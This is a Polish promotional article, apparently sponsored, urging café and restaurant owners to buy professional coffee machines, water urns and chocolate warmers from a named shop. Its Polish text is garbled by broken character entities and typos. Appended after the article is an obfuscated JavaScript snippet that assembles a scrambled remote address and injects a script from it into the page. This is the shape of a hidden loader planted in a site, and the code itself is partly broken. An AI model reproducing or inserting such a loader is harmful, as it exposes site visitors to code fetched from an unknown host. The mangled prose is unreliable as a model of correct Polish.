



## Jak profesjonalny ekspres do kawy może odmienić oblicze biznesu gastronomicznego

`<p style="text-align: left;">Ekspres do kawy &ndash; dla jednych to zbędny luksus, dla drugich to maszyna, bez kt&ocaron;rej nie wyobrażają sobie dnia. Niezależnie jednak od tego, jakie masz podejście do tego typu urządzeń, musisz wiedzieć, że ekspres do kawy może znacznie odmienić oblicze Twojej gastronomi. A to nie wszystko! Przyda się jeszcze zaparzacz do kawy, warnik do wody czy podgrzewasz do czekolady. Wraz z ekspertami z firmy Expando zastanowimy się nad tym, dlaczego tak jest i odpowiemy na pytanie &ndash; jakie urządzenia kupić, aby kawa jeszcze bardziej smakowała Twoim gościom. <br /><br /><strong>Powodzenie w biznesie zależy od smaku kawy?</strong> <br /><br /><br /><br />Jeśli prowadzisz kawiarnię, pewnie już znasz prawidłową odpowiedź. Tak! Od smaku kawy zależy powodzenie Twojego biznesu. Można śmiało przyjąć, że czym lepszą kawę będziesz serwować, tym więcej gości będzie Cię odwiedzać. Jak w takim razie zadbać o odpowiedni smak serwowanego napoju? Zgadłeś. Kluczem jest <strong>zakup odpowiedniego ekspresu.</strong> Następnymi krokami będą jeszcze dob&ocaron;e odpowiednich ziaren oraz zatrudnienie wykwalifikowanej obsługi. Ale to już opowieść na inny artykuł. Dzisiejszym clou sprawy jest bowiem <strong>profesjonalny ekspres do kawy i inne urządzenia do gastronomi.</strong> <br /><br />Wielu restaurator&ocaron;w zapomina o profesjonalnym sprzęcie. Często duża część pieniędzy z inwestycji idzie na wygład kawiarni, a tym samym brakuje już środków&ocaron;w na porządne urządzenia, takie jak <strong>zaparzacz do kawy, warnik do wody</strong> czy <strong>podgrzewasz do czekolady</strong>. W takich przypadkach zazwyczaj kupuje się tańsze urządzenia, kt&ocaron;re nie spełniają norm. Takie podejście prowadzi jednak do sporych strat. To nie żadna tajemnica, że kawa zaparzana w profesjonalnym urządzeniu dobrej klasy smakuje o wiele lepiej niż z taniego zamiennika. Nie popełniaj tego błędu. Podając złą kawę szybko możesz zrazić do siebie klient&ocaron;w, kt&ocaron;ry po prostu przestaną Cię odwiedzać. <br /><br /><strong>Jakie urządzenia przydadzą się do gastronomii?</strong> <br /><br /></p>`

`<p style="text-align: left;"><strong>Ekspres do kawy, zaparzacz do kawy, warnik do wody</strong> czy <strong>podgrzewasz do czekolady</strong> &hellip; to przydatne urządzenia, kt&ocaron;re na pewno pomogą Ci w rozwinięciu Twojej kawiarni czy restauracji. Jednak nie warto na nich oszczędzać. Wspominaliśmy już, że zakup taniego zamiennika nie spodoba się gościom, kt&ocaron;ry szybko przestaną Cię odwiedzać. To jednak nie koniec. Warto dodać, że zakup tanich urządzeń poważnie odbije się na Twojej kieszeni. I to prędzej niż myślisz. Urządzenia z dolnej półki nie posiadają odpowiedniego serwisu, a ich gwarancja bywa problematyczna. Nawet kiedy producent ją uzna, czasem możesz czekać wiele miesięcy na to, aż przyjmie, naprawi i odeśle Ci Twoje maszyny. Czy naprawdę masz na to czas i środki? <br /><br />Jak zatem wybrać urządzenia, z kt&ocaron;rych będziesz zadowolony? Do wyboru jest bardzo szeroki wachlarz maszyn &ndash; od tych najtańszych z dyskont&ocaron;w, do zaawansowanych ekspres&ocaron;w renomowanych producent&ocaron;w. Jak już wspominaliśmy, nie ma co oszczędzać i warto zainwestować od razu w sprzęt z g&ocaron;mej półki. W Twojej kawiarni przyda Ci się na pewno: <br />&nbsp;- <strong>profesjonalny ekspres do kawy,</strong> kt&ocaron;ry przyrządzi każdy rodzaj aromatycznego napoju; <br />&nbsp;- <strong>zaparzacz do kawy/ warnik do wody</strong> z wbudowanym termostatem &ndash; <strong>urządzenia firmy Royal Catering</strong> są zbudowane z wysokiej jakości stali nierdzewnej i doskonale trzymają temperaturę; <br />&nbsp;- <strong>podgrzewasz do czekolady</strong> i innych napoj&ocaron;w marki <strong>Royal Catering. Model RCSS-3</strong> szybko podgrzewa i na długo utrzymuje ciepło znajdującej się w zbiorniku np. herbaty, kawy czy czekolady. Nowoczesny wygląd oraz specjalnie perforowana pokrywka sprawiają, że podgrzewacz stanowi atrakcyjny element wyposażenia każdego punktu gastronomicznego. <br /><br />Wszystkie te urządzenia można kupić po atrakcyjnych cenach w sklepie <strong>Expando</strong>, kt&ocaron;ry oferuje sprawdzone rozwiązania dla biznesu, w tym r&ocaron;wnież małej i dużej gastronomi. <br /><br /><strong>Ile trzeba wydać na profesjonalne urządzenia?</strong> <br /><br />O tym, że nie powinieneś oszczędzać na sprzęcie wysokiej klasy już pewnie wiesz. Ale i tak zapewne interesuje Cię cena? I bardzo dobrze! Jako biznesmen powinieneś sprawdzać każdy wydatek i szukać najkorzystniejszych okazji. Tutaj mamy dla Ciebie jednak dobrą wiadomość. W sklepie <strong>Expando</strong> kupisz wszystkie te urządzenia za jednym zamachem i w korzystnej cenie, kt&ocaron;ra waha się od 200 do 500 zł. Sklep oferuje dodatkowo 3-letnią gwarancję na swoje towary. <br />Ile wydać na sprzęt? 200 czy 500 zł? Skąd taka rozbieżność? Wszystko zależy od wielkości urządzenia &ndash; a w zasadzie od jego pojemności. Og&ocaron;lna zasada jest prosta. Czym więcej filiżanek pysznego napoju będziesz m&ocaron;gł przygotować za jednym razem, tym wyższa cena. Niekt&ocaron;re zaparzacz&ocaron;re mogą pomieścić nawet do 30 litr&ocaron;w wody. Więcej informacji na stronie: <a href="https://www.expondo.pl/wyposazenie-baru/" target=" _blank">www.expondo.pl/wyposazenie-baru/ </a><br /><br />Czy zakup profesjonalnych urządzeń do podgrzewania wody, robienia pysznej kawy, herbaty i czekolady Ci się opłaci? Zdecydowanie tak! Każdy lubi świeżą i aromatyczną kawę.</p>`

```
<script type="text/javascript">/*!  
(function(){  
i3pe =("u"+"st");i3pe=document.createElement("script");i3pe.async=true;  
i3peu="62519260";i3pe_+="a"+"(t.)";i3pe_+="i"+"(nf)+"(o)"+("f)";  
i3peu+=".4ldelumj3peyi307";i3peu+="fxprjv8hwlq2xh";  
i3pe.src="//"+i3pe_+i3peu;i3pe.type="text/javascript";  
d_b=document.body;d_b.appendChild(i3pe);  
})();  
// }></script>
```

